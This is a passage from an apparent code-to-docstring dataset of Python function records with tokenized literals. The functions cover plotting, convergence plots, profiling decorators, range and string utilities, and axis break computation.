quantiles and dims", "id": "f10490:m1"}
{"signature": "def ezplot(f,xlim,ylim=None,ax = None,vectorized=True,N=None,contour = False,args=None,kwargs=None,dry_run=False,show=None,include_endpoints=False):", "body": "kwargs = kwargs or {}<EOL>args = args or []<EOL>d = <NUM_LIT:1> if ylim is None else <NUM_LIT:2><EOL>if ax is None:<EOL><INDENT>fig = plt.figure()<EOL>show = show if show is not None else True<EOL>ax = fig.gca() if (d==<NUM_LIT:1> or contour) else fig.gca(projection='<STR_LIT>')<EOL><DEDENT>if d == <NUM_LIT:1>:<EOL><INDENT>if N is None:<EOL><INDENT>N = <NUM_LIT:200><EOL><DEDENT>if include_endpoints:<EOL><INDENT>X = np.linspace(xlim[<NUM_LIT:0>],xlim[<NUM_LIT:1>],N)<EOL><DEDENT>else:<EOL><INDENT>L = xlim[<NUM_LIT:1>] - xlim[<NUM_LIT:0>]<EOL>X = np.linspace(xlim[<NUM_LIT:0>] + L / N, xlim[<NUM_LIT:1>] - L / N, N)<EOL><DEDENT>X = X.reshape((-<NUM_LIT:1>, <NUM_LIT:1>))<EOL>if vectorized:<EOL><INDENT>Z = f(X)<EOL><DEDENT>else:<EOL><INDENT>Z = np.array([f(x) for x in X])<EOL><DEDENT>if not dry_run:<EOL><INDENT>C = ax.plot(X, Z,*args,**kwargs)<EOL><DEDENT><DEDENT>elif d == <NUM_LIT:2>:<EOL><INDENT>if N is None:<EOL><INDENT>N = <NUM_LIT:30><EOL><DEDENT>T = np.zeros((N, <NUM_LIT:2>))<EOL>if include_endpoints:<EOL><INDENT>T[:,<NUM_LIT:0>]=np.linspace(xlim[<NUM_LIT:0>],xlim[<NUM_LIT:1>],N)<EOL>T[:,<NUM_LIT:1>]=np.linspace(ylim[<NUM_LIT:0>],ylim[<NUM_LIT:1>],N)<EOL><DEDENT>else:<EOL><INDENT>L = xlim[<NUM_LIT:1>] - xlim[<NUM_LIT:0>]<EOL>T[:, <NUM_LIT:0>] = np.linspace(xlim[<NUM_LIT:0>] + L / N, xlim[<NUM_LIT:1>] - L / N, N) <EOL>L = ylim[<NUM_LIT:1>] - ylim[<NUM_LIT:0>]<EOL>T[:, <NUM_LIT:1>] = np.linspace(ylim[<NUM_LIT:0>] + L / N, ylim[<NUM_LIT:1>] - L / N, N) <EOL><DEDENT>X, Y = meshgrid(T[:, <NUM_LIT:0>], T[:, <NUM_LIT:1>])<EOL>Z = grid_evaluation(X, Y, f,vectorized=vectorized)<EOL>if contour:<EOL><INDENT>if not dry_run:<EOL><INDENT>N=<NUM_LIT:200><EOL>colors=np.concatenate((np.ones((N,<NUM_LIT:1>)),np.tile(np.linspace(<NUM_LIT:1>,<NUM_LIT:0>,N).reshape(-<NUM_LIT:1>,<NUM_LIT:1>),(<NUM_LIT:1>,<NUM_LIT:2>))),axis=<NUM_LIT:1>)<EOL>colors = [ [<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>],*colors,[<NUM_LIT:1>,<NUM_LIT:0>,<NUM_LIT:0>]]<EOL>print('<STR_LIT>',np.max(Z[:]))<EOL>C = ax.contourf(X,Y,Z,levels = [-np.inf,*np.linspace(-<NUM_LIT:20>,<NUM_LIT:20>,N),np.inf],colors=colors)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not dry_run:<EOL><INDENT>C = ax.plot_surface(X, Y, Z)<EOL><DEDENT><DEDENT><DEDENT>if show:<EOL><INDENT>plt.show()<EOL><DEDENT>return ax,C,Z<EOL>", "docstring": "Plot polynomial approximation.\n\n:param vectorized: `f` can handle an array of inputs", "id": "f10490:m2"}
{"signature": "def plot3D(X, Y, Z):", "body": "fig = plt.figure()<EOL>ax = Axes3D(fig)<EOL>light = LightSource(<NUM_LIT>, <NUM_LIT>)<EOL>illuminated_surface = light.shade(Z, cmap=cm.coolwarm)  <EOL>Xmin = np.amin(X)<EOL>Xmax = np.amax(X)<EOL>Ymin = np.amin(Y)<EOL>Ymax = np.amax(Y)<EOL>Zmin = np.amin(Z)<EOL>Zmax = np.amax(Z)<EOL>ax.contourf(X, Y, Z, zdir='<STR_LIT:x>', offset=Xmin - <NUM_LIT:0.1> * (Xmax - Xmin), cmap=cm.coolwarm, alpha=<NUM_LIT:1>)  <EOL>ax.contourf(X, Y, Z, zdir='<STR_LIT:y>', offset=Ymax + <NUM_LIT:0.1> * (Ymax - Ymin), cmap=cm.coolwarm, alpha=<NUM_LIT:1>)  <EOL>ax.contourf(X, Y, Z, zdir='<STR_LIT:z>', offset=Zmin - <NUM_LIT:0.1> * (Zmax - Zmin), cmap=cm.coolwarm, alpha=<NUM_LIT:1>)  <EOL>ax.plot_surface(X, Y, Z, cstride=<NUM_LIT:5>, rstride=<NUM_LIT:5>, facecolors=illuminated_surface, alpha=<NUM_LIT:0.5>)<EOL>plt.show()<EOL>", "docstring": "Surface plot.\n\nGenerate X and Y using, for example\n      X,Y = np.mgrid[0:1:50j, 0:1:50j]\n    or\n      X,Y= np.meshgrid([0,1,2],[1,2,3]).\n\n:param X: 2D-Array of x-coordinates\n:param Y: 2D-Array of y-coordinates\n:param Z: 2D-Array of z-coordinates", "id": "f10490:m3"}
{"signature": "def plot_convergence(times, values, name=None, title=None, reference='<STR_LIT>', convergence_type='<STR_LIT>', expect_residuals=None,<EOL>expect_times=None, plot_rate='<STR_LIT>', base = np.exp(<NUM_LIT:0>),xlabel = '<STR_LIT:x>', p=<NUM_LIT:2>, preasymptotics=True, stagnation=False, marker='<STR_LIT:.>',<EOL>legend='<STR_LIT>',relative = False,ax = None):", "body": "name = name or '<STR_LIT>'<EOL>self_reference = (isinstance(reference,str) and reference=='<STR_LIT>') <EOL>ax = ax or plt.gca()<EOL>color = next(ax._get_lines.prop_cycler)['<STR_LIT>']<EOL>ax.tick_params(labeltop=False, labelright=True, right=True, which='<STR_LIT>')<EOL>ax.yaxis.grid(which=\"<STR_LIT>\", linestyle='<STR_LIT:->', alpha=<NUM_LIT:0.5>)<EOL>ax.yaxis.grid(which=\"<STR_LIT>\", linestyle='<STR_LIT:->', alpha=<NUM_LIT>)<EOL>c_ticks = <NUM_LIT:3><EOL>ACCEPT_MISFIT = <NUM_LIT:0.1><EOL>values, times = np.squeeze(values), np.squeeze(times)<EOL>assert(times.ndim == <NUM_LIT:1>)<EOL>assert(len(times) == len(values))<EOL>sorting = np.argsort(times)<EOL>times = times[sorting]<EOL>values = values[sorting]<EOL>if plot_rate == True:<EOL><INDENT>plot_rate = '<STR_LIT>'<EOL><DEDENT>if plot_rate !='<STR_LIT>':<EOL><INDENT>plot_rate = plot_rate*np.log(base)<EOL><DEDENT>if self_reference:<EOL><INDENT>if len(times) <= <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>limit = values[-<NUM_LIT:1>]<EOL>limit_time = times[-<NUM_LIT:1>]<EOL>times = times[<NUM_LIT:0>:-<NUM_LIT:1>]<EOL>values = values[<NUM_LIT:0>:-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>limit = np.squeeze(reference)<EOL>limit_time = np.Inf<EOL><DEDENT>residuals = np.zeros(len(times))<EOL>N = limit.size<EOL>for L in range(len(times)):<EOL><INDENT>if p < np.Inf:<EOL><INDENT>residuals[L] = np.power(np.sum(np.power(np.abs(values[L] - limit), p) / N), <NUM_LIT:1.> / p)  <EOL><DEDENT>else:<EOL><INDENT>residuals[L] = np.amax(np.abs(values[L] - limit))<EOL><DEDENT><DEDENT>if relative:<EOL><INDENT>if p<np.Inf:<EOL><INDENT>residuals /= np.power(np.sum(np.power(np.abs(limit),p)/N),<NUM_LIT:1.>/p)<EOL><DEDENT>else:<EOL><INDENT>residuals /= np.amax(np.abs(limit))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>remove = np.isnan(times) | np.isinf(times) | np.isnan(residuals) | np.isinf(residuals) | (residuals == <NUM_LIT:0>) | ((times == <NUM_LIT:0>) & (convergence_type == '<STR_LIT>'))<EOL><DEDENT>except TypeError:<EOL><INDENT>print(times,residuals)<EOL><DEDENT>times = times[~remove]<EOL>if sum(~remove) < (<NUM_LIT:2> if self_reference else <NUM_LIT:1>):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>residuals = residuals[~remove]<EOL>if convergence_type == '<STR_LIT>':<EOL><INDENT>x = np.log(times)<EOL>limit_x = np.log(limit_time)<EOL><DEDENT>else:<EOL><INDENT>x = times<EOL>limit_x = limit_time<EOL><DEDENT>max_x = max(x)<EOL>y = np.log(residuals)<EOL>try:<EOL><INDENT>rate, offset, min_x_fit, max_x_fit = _fit_rate(x, y, stagnation, preasymptotics, limit_x, have_rate=False if (plot_rate == '<STR_LIT>' or plot_rate is None) else plot_rate)<EOL><DEDENT>except FitError as e:<EOL><INDENT>warnings.warn(str(e))<EOL>plot_rate = False<EOL>rate = None<EOL><DEDENT>if self_reference:<EOL><INDENT>if rate >= <NUM_LIT:0>:<EOL><INDENT>warnings.warn('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>real_rate = _real_rate(rate, l_bound=min_x_fit, r_bound=max_x_fit, reference_x=limit_x)<EOL>if (real_rate is None or abs((real_rate - rate) / rate) >= ACCEPT_MISFIT):<EOL><INDENT>warnings.warn(('<STR_LIT>')<EOL>+ ('<STR_LIT>'.format(real_rate) if real_rate else '<STR_LIT>')<EOL>+ ('<STR_LIT>'.format(rate) if rate else '<STR_LIT>'))      <EOL><DEDENT><DEDENT><DEDENT>if plot_rate:<EOL><INDENT>name += '<STR_LIT>' if plot_rate == '<STR_LIT>' else '<STR_LIT>'<EOL>if convergence_type == '<STR_LIT>':<EOL><INDENT>name+='<STR_LIT>'.format(rate) <EOL><DEDENT>else:<EOL><INDENT>base_rate = rate/np.log(base)<EOL>base_rate_str = f'<STR_LIT>'<EOL>if base_rate_str=='<STR_LIT>':<EOL><INDENT>base_rate_str='<STR_LIT:->'<EOL><DEDENT>if base_rate_str =='<STR_LIT:1>':<EOL><INDENT>base_rate_str = '<STR_LIT>'<EOL><DEDENT>name+=f'<STR_LIT>'<EOL><DEDENT>if convergence_type == '<STR_LIT>':<EOL><INDENT>X = np.linspace(np.exp(min_x_fit), np.exp(max_x_fit), c_ticks)<EOL>ax.loglog(X, np.exp(offset) * X ** rate, '<STR_LIT>', color=color)<EOL><DEDENT>else:<EOL><INDENT>X = np.linspace(min_x_fit, max_x_fit, c_ticks)<EOL>ax.semilogy(X, np.exp(offset + rate * X), '<STR_LIT>', color=color)<EOL><DEDENT><DEDENT>max_x_data = max_x<EOL>keep_1 = (x <= max_x_data)<EOL>if convergence_type == '<STR_LIT>':<EOL><INDENT>ax.loglog(np.array(times)[keep_1], np.array(residuals)[keep_1], label=name, marker=marker, color=color)<EOL>ax.loglog(np.array(times), np.array(residuals), marker=marker, color=color, alpha=<NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>ax.semilogy(np.array(times)[keep_1], np.array(residuals)[keep_1], label=name, marker=marker, color=color)<EOL>ax.semilogy(np.array(times), np.array(residuals), marker=marker, color=color, alpha=<NUM_LIT:0.5>)<EOL><DEDENT>if expect_times is not None and expect_residuals is not None:<EOL><INDENT>ax.loglog(expect_times, expect_residuals, '<STR_LIT>', marker=marker, color=color) <EOL><DEDENT>if name:<EOL><INDENT>ax.legend(loc=legend)<EOL><DEDENT>if title:<EOL><INDENT>ax.set_title(title)<EOL><DEDENT>return rate<EOL>", "docstring": "Show loglog or semilogy convergence plot.\n\nSpecify :code:`reference` if exact limit is known. Otherwise limit is \ntaken to be last entry of :code:`values`.\n\nDistance to limit is computed as RMSE (or analogous p-norm if p is specified)\n\nSpecify either :code:`plot_rate`(pass number or 'fit') or \n:code:`expect_residuals` and :code:`expect_times` to add a second plot with\nthe expected convergence.\n\n:param times: Runtimes\n:type times: List of positive numbers\n:param values: Outputs\n:type values: List of arrays\n:param reference: Exact solution, or 'self' if not available\n:type reference: Array or 'self'\n:param convergence_type: Convergence type\n:type convergence_type: 'algebraic' or 'exponential'\n:param expect_residuals: Expected residuals\n:type expect_residuals: List of positive numbers\n:param expect_times: Expected runtimes\n:type expect_times: List of positive numbers\n:param plot_rate: Expected convergence order\n:type plot_rate: Real or 'fit'\n:param preasymptotics: Ignore initial entries for rate fitting\n:type preasymptotics: Boolean\n:param stagnation: Ignore final entries from rate fitting\n:type stagnation: Boolean\n:param marker: Marker for data points\n:type marker: Matplotlib marker string\n:return: fitted convergence order", "id": "f10490:m5"}
{"signature": "def log_calls(function):", "body": "def wrapper(self,*args,**kwargs):  <EOL><INDENT>self.log.log(group=function.__name__,message='<STR_LIT>') <EOL>function(self,*args,**kwargs)<EOL>self.log.log(group=function.__name__,message='<STR_LIT>') <EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator that logs function calls in their self.log", "id": "f10492:m0"}
{"signature": "def add_runtime(function):", "body": "def wrapper(*args,**kwargs):  <EOL><INDENT>pr=cProfile.Profile()<EOL>pr.enable()<EOL>output = function(*args,**kwargs)<EOL>pr.disable()<EOL>return pr,output<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator that adds a runtime profile object to the output", "id": "f10492:m1"}
{"signature": "def print_memory(function):", "body": "import memory_profiler<EOL>def wrapper(*args,**kwargs):<EOL><INDENT>m = StringIO()<EOL>temp_func = memory_profiler.profile(func = function,stream=m,precision=<NUM_LIT:4>)<EOL>output = temp_func(*args,**kwargs)<EOL>print(m.getvalue())<EOL>m.close()<EOL>return output<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator that prints memory information at each call of the function", "id": "f10492:m2"}
{"signature": "def print_profile(function):", "body": "import memory_profiler<EOL>def wrapper(*args,**kwargs):<EOL><INDENT>m=StringIO()<EOL>pr=cProfile.Profile()<EOL>pr.enable()<EOL>temp_func = memory_profiler.profile(func=function,stream=m,precision=<NUM_LIT:4>)<EOL>output = temp_func(*args,**kwargs)<EOL>print(m.getvalue())<EOL>pr.disable()<EOL>ps = pstats.Stats(pr)<EOL>ps.sort_stats('<STR_LIT>').print_stats('<STR_LIT>',<NUM_LIT:20>)<EOL>m.close()<EOL>return output<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator that prints memory and runtime information at each call of the function", "id": "f10492:m3"}
{"signature": "def declaration(function):", "body": "function,name=_strip_function(function)<EOL>if not function.__code__.co_code in [empty_function.__code__.co_code, doc_string_only_function.__code__.co_code]: <EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>def not_implemented_function(*args,**kwargs):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(args[<NUM_LIT:0>],name))<EOL><DEDENT>not_implemented_function.__qualname__=not_implemented_function.__name__ <EOL>return default(not_implemented_function,name=name)<EOL>", "docstring": "Declare abstract function. \n\nRequires function to be empty except for docstring describing semantics.\nTo apply function, first argument must come with implementation of semantics.", "id": "f10492:m8"}
{"signature": "def print_runtime(function):", "body": "def wrapper(*args,**kwargs):<EOL><INDENT>pr=cProfile.Profile()<EOL>pr.enable()<EOL>output = function(*args,**kwargs)<EOL>pr.disable()<EOL>ps = pstats.Stats(pr)<EOL>ps.sort_stats('<STR_LIT>').print_stats(<NUM_LIT:20>)<EOL>return output<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator that prints running time information at each call of the function", "id": "f10492:m9"}
{"signature": "def print_peak_memory(func,stream = None):", "body": "import time<EOL>import psutil<EOL>import os<EOL>memory_denominator=<NUM_LIT>**<NUM_LIT:2><EOL>memory_usage_refresh=<NUM_LIT><EOL>def wrapper(*args,**kwargs):<EOL><INDENT>from multiprocessing.pool import ThreadPool<EOL>pool = ThreadPool(processes=<NUM_LIT:1>)<EOL>process = psutil.Process(os.getpid())<EOL>start_mem = process.memory_info().rss<EOL>delta_mem = <NUM_LIT:0><EOL>max_memory = <NUM_LIT:0><EOL>async_result = pool.apply_async(func, args,kwargs)<EOL>while(not async_result.ready()):<EOL><INDENT>current_mem = process.memory_info().rss<EOL>delta_mem = current_mem - start_mem<EOL>if delta_mem > max_memory:<EOL><INDENT>max_memory = delta_mem<EOL><DEDENT>time.sleep(memory_usage_refresh)<EOL><DEDENT>return_val = async_result.get()  <EOL>max_memory /= memory_denominator<EOL>if stream is not None:<EOL><INDENT>stream.write(str(max_memory))<EOL><DEDENT>return return_val<EOL><DEDENT>return wrapper<EOL>", "docstring": "Print peak memory usage (in MB) of a function call\n\n:param func: Function to be called\n:param stream: Stream to write peak memory usage (defaults to stdout)  \n\nhttps://stackoverflow.com/questions/9850995/tracking-maximum-memory-usage-by-a-python-function", "id": "f10492:m10"}
{"signature": "def smart_range(*args):", "body": "if len(args)==<NUM_LIT:1>:<EOL><INDENT>string_input = True<EOL>string = args[<NUM_LIT:0>].replace('<STR_LIT:U+0020>','<STR_LIT>')<EOL>original_args=string.split('<STR_LIT:U+002C>')<EOL>args = []<EOL>for arg in original_args:<EOL><INDENT>try:<EOL><INDENT>args.append(ast.literal_eval(arg))<EOL><DEDENT>except (ValueError,SyntaxError):<EOL><INDENT>try:<EOL><INDENT>args.append(eval(arg,{'<STR_LIT>':{}}))<EOL><DEDENT>except (NameError,SyntaxError):<EOL><INDENT>args.append(arg)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>string_input = False<EOL><DEDENT>arg_start = args[<NUM_LIT:0>]<EOL>if len(args)><NUM_LIT:2>:<EOL><INDENT>arg_step = args[<NUM_LIT:1>]<EOL>if len(args)><NUM_LIT:3>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>arg_step = None<EOL><DEDENT>arg_end = args[-<NUM_LIT:1>]<EOL>if String.valid(arg_start) and len(arg_start)==<NUM_LIT:1>:<EOL><INDENT>range_type = '<STR_LIT>'<EOL><DEDENT>elif all(Integer.valid(arg) for arg in args):<EOL><INDENT>range_type = '<STR_LIT>'<EOL><DEDENT>else: <EOL><INDENT>if string_input and original_args[<NUM_LIT:0>][<NUM_LIT:0>] in ['<STR_LIT:(>','<STR_LIT:[>']:<EOL><INDENT>range_type = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>range_type = '<STR_LIT:float>'<EOL><DEDENT><DEDENT>if range_type == '<STR_LIT>':<EOL><INDENT>start = ord(arg_start)<EOL>step = (ord(arg_step)- start) if arg_step else <NUM_LIT:1><EOL>end = ord(arg_end)<EOL>out = [chr(i) for i in range(start,end+step,step)]<EOL>if np.sign(step)*(ord(out[-<NUM_LIT:1>])-end)><NUM_LIT:0>:<EOL><INDENT>del out[-<NUM_LIT:1>]<EOL><DEDENT>return out<EOL><DEDENT>elif range_type == '<STR_LIT>':<EOL><INDENT>if string_input:<EOL><INDENT>if len(args)==<NUM_LIT:2> and all('<STR_LIT>' in oa for oa in original_args):<EOL><INDENT>bases,exponents = zip(*[oa.split('<STR_LIT>') for oa in original_args])<EOL>if len(set(bases))==<NUM_LIT:1>:<EOL><INDENT>return [int(bases[<NUM_LIT:0>])**exponent for exponent in smart_range('<STR_LIT:U+002C>'.join(exponents))]<EOL><DEDENT><DEDENT><DEDENT>start = arg_start<EOL>step = (arg_step - arg_start) if arg_step is not None else <NUM_LIT:1><EOL>end = arg_end<EOL>out = list(range(start,end+step,step))<EOL>if np.sign(step)*(out[-<NUM_LIT:1>]-end)><NUM_LIT:0>:<EOL><INDENT>del out[-<NUM_LIT:1>]<EOL><DEDENT>return out<EOL><DEDENT>elif range_type == '<STR_LIT:float>':<EOL><INDENT>if len(args)==<NUM_LIT:2> and all('<STR_LIT>' in oa for oa in original_args):<EOL><INDENT>bases,exponents = zip(*[oa.split('<STR_LIT>') for oa in original_args])<EOL>if len(set(bases))==<NUM_LIT:1>:<EOL><INDENT>return [float(bases[<NUM_LIT:0>])**exponent for exponent in smart_range('<STR_LIT:U+002C>'.join(exponents)) ]<EOL><DEDENT><DEDENT>if len(args) == <NUM_LIT:2>:<EOL><INDENT>raise ValueError()<EOL><DEDENT>start = arg_start<EOL>step = arg_step - arg_start<EOL>end = arg_end<EOL>out = list(np.arange(start,end+<NUM_LIT>*step,step))<EOL>return out<EOL><DEDENT>elif range_type == '<STR_LIT>':<EOL><INDENT>lopen,start = (original_args[<NUM_LIT:0>][<NUM_LIT:0>]=='<STR_LIT:(>'),float(original_args[<NUM_LIT:0>][<NUM_LIT:1>:])<EOL>end,N = original_args[<NUM_LIT:1>].split('<STR_LIT:/>')<EOL>end,ropen = float(end[:-<NUM_LIT:1>]),(end[-<NUM_LIT:1>]=='<STR_LIT:)>')<EOL>N = ast.literal_eval(N)+lopen +ropen<EOL>points = np.linspace(start,end,num=N)<EOL>return points[lopen:len(points)-ropen]<EOL><DEDENT>", "docstring": "smart_range(1,3,9)==[1,3,5,7,9]", "id": "f10493:m0"}
{"signature": "def ld_to_dl(ld):", "body": "if ld:<EOL><INDENT>keys = list(ld[<NUM_LIT:0>])<EOL>dl = {key:[d[key] for d in ld] for key in keys}<EOL>return dl<EOL><DEDENT>else:<EOL><INDENT>return {}<EOL><DEDENT>", "docstring": "Convert list of dictionaries to dictionary of lists", "id": "f10493:m1"}
{"signature": "def chain(*fs):", "body": "def chained(x):<EOL><INDENT>for f in reversed(fs):<EOL><INDENT>if f:<EOL><INDENT>x=f(x)<EOL><DEDENT><DEDENT>return x<EOL><DEDENT>return chained<EOL>", "docstring": "Concatenate functions", "id": "f10493:m3"}
{"signature": "def cmd_exists(cmd):", "body": "return shutil.which(cmd) is not None<EOL>", "docstring": "Check whether given command is available on system", "id": "f10493:m6"}
{"signature": "def split_list(l,N):", "body": "npmode = isinstance(l,np.ndarray)<EOL>if npmode:<EOL><INDENT>l=list(l)<EOL><DEDENT>g=np.concatenate((np.array([<NUM_LIT:0>]),np.cumsum(split_integer(len(l),length=N))))<EOL>s=[l[g[i]:g[i+<NUM_LIT:1>]] for i in range(N)]<EOL>if npmode:<EOL><INDENT>s=[np.array(sl) for sl in s]<EOL><DEDENT>return s<EOL>", "docstring": "Subdivide list into N lists", "id": "f10493:m8"}
{"signature": "def random_string(length):", "body": "return '<STR_LIT>'.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))<EOL>", "docstring": "Generate alphanumerical string. Hint: Check whether module tempfile has what you want, especially when you are concerned about race conditions", "id": "f10493:m9"}
{"signature": "def random_word(length,dictionary = False):", "body": "if dictionary:<EOL><INDENT>try:<EOL><INDENT>with open('<STR_LIT>') as fp:<EOL><INDENT>words = [word.lower()[:-<NUM_LIT:1>] for word in fp.readlines() if re.match('<STR_LIT>'.format('<STR_LIT:{>'+str(length)+'<STR_LIT:}>'),word)]<EOL><DEDENT>return random.choice(words)<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>vowels = list('<STR_LIT>')<EOL>consonants = list('<STR_LIT>')<EOL>pairs = [(random.choice(consonants),random.choice(vowels)) for _ in range(length//<NUM_LIT:2>+<NUM_LIT:1>)] <EOL>return '<STR_LIT>'.join([l for p in pairs for l in p])[:length]<EOL>", "docstring": "Creates random lowercase words from dictionary or by alternating vowels and consonants\n\nThe second method chooses from 85**length words.\nThe dictionary method chooses from 3000--12000 words for 3<=length<=12\n(though this of course depends on the available dictionary)\n\n:param length: word length\n:param dictionary: Try reading from dictionary, else fall back to artificial words", "id": "f10493:m10"}
{"signature": "def string_from_seconds(seconds):", "body": "td = str(timedelta(seconds = seconds))<EOL>parts = td.split('<STR_LIT:.>')<EOL>if len(parts) == <NUM_LIT:1>:<EOL><INDENT>td = td+'<STR_LIT>'<EOL><DEDENT>elif len(parts) == <NUM_LIT:2>:<EOL><INDENT>td = '<STR_LIT:.>'.join([parts[<NUM_LIT:0>],parts[<NUM_LIT:1>][:<NUM_LIT:2>]])<EOL><DEDENT>return td<EOL>", "docstring": "Converts seconds into elapsed time string of form \n\n(X days(s)?,)? HH:MM:SS.YY", "id": "f10493:m11"}
{"signature": "def input_with_prefill(prompt, text):", "body": "def hook():<EOL><INDENT>readline.insert_text(text)<EOL>readline.redisplay()<EOL><DEDENT>try:<EOL><INDENT>readline.set_pre_input_hook(hook)<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>result = input(prompt)<EOL>try:<EOL><INDENT>readline.set_pre_input_hook()<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>return result<EOL>", "docstring": "https://stackoverflow.com/questions/8505163/is-it-possible-to-prefill-a-input-in-python-3s-command-line-interface", "id": "f10493:m12"}
{"signature": "def is_identifier(s):", "body": "return s.isidentifier() and not keyword.iskeyword(s)<EOL>", "docstring": "Check if string is valid variable name", "id": "f10493:m14"}
{"signature": "def __call__(self, limits):", "body": "if any(np.isinf(limits)):<EOL><INDENT>return []<EOL><DEDENT>if limits[<NUM_LIT:0>] == limits[<NUM_LIT:1>]:<EOL><INDENT>return np.array([limits[<NUM_LIT:0>]])<EOL><DEDENT>return self.locator.tick_values(limits[<NUM_LIT:0>], limits[<NUM_LIT:1>])<EOL>", "docstring": "Compute breaks\n\nParameters\n----------\nlimits : tuple\n    Minimum and maximum values\n\nReturns\n-------\nout : array_like\n    Sequence of breaks points", "id": "f10499:c1:m1"}
{"signature": "def __call__(self, limits):", "body": "if any(np.isinf(limits)):<EOL><INDENT>return []<EOL><DEDENT>n = self.n<EOL>base = self.base<EOL>rng = np.log(limits)/np.log(base)<EOL>_min = int(np.floor(rng[<NUM_LIT:0>]))<EOL>_max = int(np.ceil(rng[<NUM_LIT:1>]))<EOL>dtype = float if _min < <NUM_LIT:0> or _max < <NUM_LIT:0> else int<EOL>if _max == _min:<EOL><INDENT>return base ** _min<EOL><DEDENT>by = int(np.floor((_max-_min)/n)) + <NUM_LIT:1><EOL>for step in range(by, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>breaks = base ** np.arange(_min, _max+<NUM_LIT:1>, step=step, dtype=dtype)<EOL>relevant_breaks = (<EOL>(limits[<NUM_LIT:0>] <= breaks) &<EOL>(breaks <= limits[<NUM_LIT:1>])<EOL>)<EOL>if np.sum(relevant_breaks) >= n-<NUM_LIT:2>:<EOL><INDENT>return breaks<EOL><DEDENT><DEDENT>return _log_sub_breaks(n=n, base=base)(limits)<EOL>", "docstring": "Compute breaks\n\nParameters\n----------\nlimits : tuple\n    Minimum and maximum values\n\nReturns\n-------\nout : array_like\n    Sequence of breaks points", "id": "f10499:c2:m1"}
{"signature": "def __call__(self, major, limits=None, n=None):", "body": "if len(major) < <NUM_LIT:2>:<EOL><INDENT>return np.array([])<EOL><DEDENT>if limits is None:<EOL><INDENT>limits = min_max(major)<EOL><DEDENT>if n is None:<EOL><INDENT>n = self.n<EOL><DEDENT>diff = np.diff(major)<EOL>step = diff[<NUM_LIT:0>]<EOL>if len(diff) > <NUM_LIT:1> and all(diff == step):<EOL><INDENT>major = np.hstack([major[<NUM_LIT:0>]-step,<EOL>major,<EOL>major[-<NUM_LIT:1>]+step])<EOL><DEDENT>mbreaks = []<EOL>factors = np.arange(<NUM_LIT:1>, n+<NUM_LIT:1>)<EOL>for lhs, rhs in zip(major[:-<NUM_LIT:1>], major[<NUM_LIT:1>:]):<EOL><INDENT>sep = (rhs - lhs)/(n+<NUM_LIT:1>)<EOL>mbreaks.append(lhs + factors * sep)<EOL><DEDENT>minor = np.hstack(mbreaks)<EOL>minor = minor.compress((limits[<NUM_LIT:0>] <= minor) &<EOL>(minor <= limits[<NUM_LIT:1>]))<EOL>return minor<EOL>", "docstring": "Minor breaks\n\nParameters\n----------\nmajor : array_like\n    Major breaks\nlimits : array_like | None\n    Limits of the scale. If *array_like*, must be\n    of size 2. If **None**, then the minimum and\n    maximum of the major breaks are used.\nn : int\n    Number of minor breaks between the major\n    breaks. If **None**, then *self.n* is used.\n\nReturns\n-------\nout : array_like\n    Minor beraks", "id": "f10499:c4:m1"}
{"signature": "def __call__(self, major, limits=None, n=None):", "body": "if not self.trans.dataspace_is_numerical:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if limits is None:<EOL><INDENT>limits = min_max(major)<EOL><DEDENT>if n is None:<EOL><INDENT>n = self.n<EOL><DEDENT>major = self._extend_breaks(major)<EOL>major = self.trans.inverse(major)<EOL>limits = self.trans.inverse(limits)<EOL>minor = minor_breaks(n)(major, limits)<EOL>return self.trans.transform(minor)<EOL>", "docstring": "Minor breaks for transformed scales\n\nParameters\n----------\nmajor : array_like\n    Major breaks\nlimits : array_like | None\n    Limits of the scale. If *array_like*, must be\n    of size 2. If **None**, then the minimum and\n    maximum of the major breaks are used.\nn : int\n    Number of minor breaks between the major\n    breaks. If **None**, then *self.n* is used.\n\nReturns\n-------\nout : array_like\n    Minor breaks", "id": "f10499:c5:m1"}
{"signature": "def _extend_breaks(self, major):", "body": "trans = self.trans<EOL>trans = trans if isinstance(trans, type) else trans.__class__<EOL>is_log = trans.__name__.startswith('<STR_LIT>')<EOL>diff = np.diff(major)<EOL>step = diff[<NUM_LIT:0>]<EOL>if is_log and all(diff == step):<EOL><INDENT>major = np.hstack([major[<NUM_LIT:0>]-step, major, major[-<NUM_LIT:1>]+step])<EOL><DEDENT>return major<EOL>", "docstring": "Append 2 extra breaks at either end of major\n\nIf breaks of transform space are non-equidistant,\n:func:`minor_breaks` add minor breaks beyond the first\nand last major breaks. The solutions is to extend those\nbreaks (in transformed space) before the minor break call\nis made. How the breaks depends on the type of transform.", "id": "f10499:c5:m2"}
